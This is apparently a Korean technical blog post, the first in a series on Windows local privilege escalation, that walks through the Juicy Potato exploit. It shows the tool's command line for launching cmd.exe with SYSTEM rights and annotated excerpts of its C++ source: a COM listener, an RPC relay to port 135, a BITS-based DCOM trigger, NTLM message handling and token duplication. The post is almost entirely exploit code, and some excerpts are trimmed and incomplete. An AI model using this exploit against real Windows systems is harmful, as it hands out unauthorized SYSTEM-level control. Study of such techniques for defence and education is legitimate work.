윈도우 권한 상승(LPE) 취약점, 불량한 감자들 1. Juicy Potato

1
2
3
4
5
6
7
8

# -l : com 요청을 수신할 포트. 안쓰이고 있는 아무 포트나 적어도 된다.
# -p : NT System 권한으로 실행할 프로그램
# -a : 실행할 프로그램에 줄 인자
# -t : process 생성에 사용할 api. *을 주면 알아서 선택해서 해준다.
## SeImpersonate -> CreateProcessWithTokenW
## SeAssignPrimaryToken -> CreateProcessAsUser 

JuicyPotato.exe -t * -p c:\\windows\\system32\\cmd.exe -a "/c whoami"  -l 4444

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

int wmain(int argc, wchar_t** argv)
{
	BOOL brute = FALSE;
	strcpy(dcom_ip, "127.0.0.1");
	
	// Fallback to default BITS CLSID
	if (olestr == NULL)
		olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";

	exit(Juicy(NULL, FALSE));
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

int Juicy(wchar_t *clsid, BOOL brute)
{
	PotatoAPI* test = new PotatoAPI();
	
	// COM (DCOM 클라이언트)에서 들어오는 트래픽 받는 리스너 스레드 시작
	test->startCOMListenerThread();

	// RPC 서버(기본 127.0.0.1:135)로 중계하는 클라이언트 스레드 시작
	test->startRPCConnectionThread();

	// 지정 CLSID로 bits 활성화 → DCOM/RPC 인증 트래픽 유도
	test->triggerDCOM();

	// 메인루프
	while (true) {
		// authResult가 -1이 아니면(= 인증 핸드셰이크/네고 성공) 권한 전이 단계로 진입.
		if (test->negotiator->authResult != -1)
		{
			// 현재 프로세스의 토큰 확보
			if (!OpenProcessToken(GetCurrentProcess(),
				TOKEN_ALL_ACCESS, &hToken))return 0;

			// SE_IMPERSONATE_NAME, SE_ASSIGNPRIMARYTOKEN_NAME 권한 활성화
			EnablePriv(hToken, SE_IMPERSONATE_NAME);
			EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);

			OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
				&hProcessToken);

			// DCOM/RPC 인증에서 협상된 SSPI 보안 컨텍스트로부터 impersonate 토큰 획득.
			QuerySecurityContextToken(
			test->negotiator->phContext, &elevated_token);

			// system 권한 체크
			IsTokenSystem(elevated_token);

			// 토큰 복제
			result = DuplicateTokenEx(elevated_token,
				TOKEN_ALL_ACCESS,
				NULL,
				SecurityImpersonation,
				TokenPrimary,
				&duped_token);
		}
	}
	return result;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

DWORD PotatoAPI::startCOMListenerThread() {
    DWORD ThreadID;
    HANDLE t = CreateThread(
        NULL,                                 // 보안 속성 (NULL = 기본값)
        0,                                    // 스택 크기 (0 = 기본)
        (LPTHREAD_START_ROUTINE)staticStartCOMListener, // 스레드 함수
        (void*)this,               // 스레드 함수에 전달할 인자 (여기서는 this 포인터)
        0,                                    // 플래그 (0 = 즉시 실행)
        &ThreadID                             // 스레드 ID 반환값
    );
    return ThreadID;  // 생성된 스레드의 ID 반환
}

1
2
3
4

DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) {
	PotatoAPI* This = (PotatoAPI*)Param;
	return This->startCOMListener();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

int PotatoAPI::startCOMListener(void) {

	// Winsock 초기화
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);

	// 리스닝 소켓 생성
	ListenSocket = socket(
	result->ai_family, result->ai_socktype, result->ai_protocol);
	int optval = 1;
	setsockopt(
	ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));

	// 소켓 바인딩
	iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);

	// 리스닝 시작
	iResult = listen(ListenSocket, SOMAXCONN);

	timeval timeout = { 1, 0 };
	fd_set fds;
	FD_ZERO(&fds);
	FD_SET(ListenSocket, &fds);

	// 메인 루프: 클라이언트로부터 수신 → 처리/중계 → 응답 송신
	do {
		iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
		if (iResult > 0) {
			
			// 수신 패킷 내 NTLM 관련 바이트 검사/가공
			processNtlmBytes(recvbuf, iResult);

			// WinRPC 측 송신 큐로 데이터 전달
			rpcSendQ->push((char*)&iResult);
			rpcSendQ->push(recvbuf);

			//WinRPC 측에서 응답 올 때까지 블록 대기
			int* len = (int*)comSendQ->wait_pop();
			sendbuf = comSendQ->wait_pop();

			// 송신 전 응답 패킷 내 NTLM 바이트 검사/가공
			processNtlmBytes(sendbuf, *len);

			// 응답 송신
			iSendResult = send(ClientSocket, sendbuf, *len, 0);
		}
	} while (iResult > 0);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

DWORD PotatoAPI::startRPCConnectionThread() {
	DWORD ThreadID;
	CreateThread(
	NULL, 
	0, 
	(LPTHREAD_START_ROUTINE)staticStartRPCConnection, 
	(void*)this, 
	0, 
	&ThreadID);
	return ThreadID;
}

1
2
3
4

DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) {
	PotatoAPI* This = (PotatoAPI*)Param;
	return This->startRPCConnection();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

int PotatoAPI::startRPCConnection(void) {

	// RPC 서버 기본 IP
	else {
		strcpy(myhost, "127.0.0.1");
	}

	// RPC 서버 기본 Port
	else {
		strcpy(myport, "135");
	}

	// 서버 연결
	for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		break;
	}

	// 메인 루프 큐에서 보낼 데이터 기다렸다가 RPC로 송신 → RPC 응답을 COM 쪽 큐로 전달
	do {
		// (블록) RPC 송신 큐에 데이터가 올라올 때까지 대기
		int *len = (int*)rpcSendQ->wait_pop();
		fflush(stdout);
		sendbuf = rpcSendQ->wait_pop();

		// RPC 서버로 송신
		iResult = send(ConnectSocket, sendbuf, *len, 0);

		// RPC 서버로부터 수신
		iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
		if (iResult > 0) {
			// 수신한 길이/데이터를 COM 측 송신 큐로 전달
			comSendQ->push((char*)&iResult);
			comSendQ->push(recvbuf);
		}
	} while (iResult > 0);
	return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

int PotatoAPI::triggerDCOM(void)
{
	// COM 초기화
	CoInitialize(nullptr);

	// IStorage 준비를 위한 ILockBytes / IStorage 생성
	IStorage *stg = NULL;
	ILockBytes *lb = NULL;
	HRESULT res;
	res = CreateILockBytesOnHGlobal(NULL, true, &lb);
	res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);

	// IStorageTrigger 객체 생성
	IStorageTrigger* t = new IStorageTrigger(stg);

	// 대상 CLSID / IID(IUnknown) 준비
	CLSID clsid;
	CLSIDFromString(olestr, &clsid);
	CLSID tmp;
	//IUnknown IID
	CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);

	//Call CoGetInstanceFromIStorage
	HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);

	fflush(stdout);
	return 0;
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106

#include <iostream>

void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
	pSecBuffer->BufferType = SECBUFFER_TOKEN;
	pSecBuffer->cbBuffer = 0;
	pSecBuffer->pvBuffer = nullptr;

	pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
	pSecBufferDesc->cBuffers = 1;
	pSecBufferDesc->pBuffers = pSecBuffer;
}

// Type 1. Negotiation: 클라이언트 → 서버 협상 요청
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
{
	TCHAR lpPackageName[1024] = L"Negotiate";
	TimeStamp ptsExpiry;

	int status = AcquireCredentialsHandle(
		NULL,
		lpPackageName,
		SECPKG_CRED_INBOUND,
		NULL,
		NULL,
		0,
		NULL,
		&hCred,
		&ptsExpiry);

	InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
	InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);

	phContext = new CtxtHandle();

	secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
	secClientBuffer.pvBuffer = ntlmBytes;

	ULONG fContextAttr;
	TimeStamp tsContextExpiry;

	status = AcceptSecurityContext(
		&hCred,
		nullptr,
		&secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		phContext,
		&secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry);

	return status;
}

// Type 2. Challenge Message: 서버 → 클라이언트 서버가 Challenge와 도메인 정보 등을 담아 응답
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
{
	char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
	if (len >= secServerBuffer.cbBuffer) {
		for (int i = 0; i < len; i++)
		{
			if (i < secServerBuffer.cbBuffer) {
				ntlmBytes[i] = newNtlmBytes[i];
			}
			else {
				ntlmBytes[i] = 0x00;
			}
		}
	}
	else {
		printf("Buffer sizes incompatible - can't replace");
	}

	return 0;
}

// Type 3. Authenticate Message: 클라이언트 → 서버 Challenge 응답, 서버는 검증
// 성공 시 서버는 SEC_E_OK 반환, 이후 QuerySecurityContextToken() 으로 클라이언트 자격 증명을 가진 액세스 토큰 획득 가능.
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
{
	InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
	InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);

	secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
	secClientBuffer.pvBuffer = ntlmBytes;

	ULONG fContextAttr;
	TimeStamp tsContextExpiry;
	int status = AcceptSecurityContext(
		&hCred,
		phContext,
		&secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		phContext,
		&secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry);

	authResult = status;

	return status;
}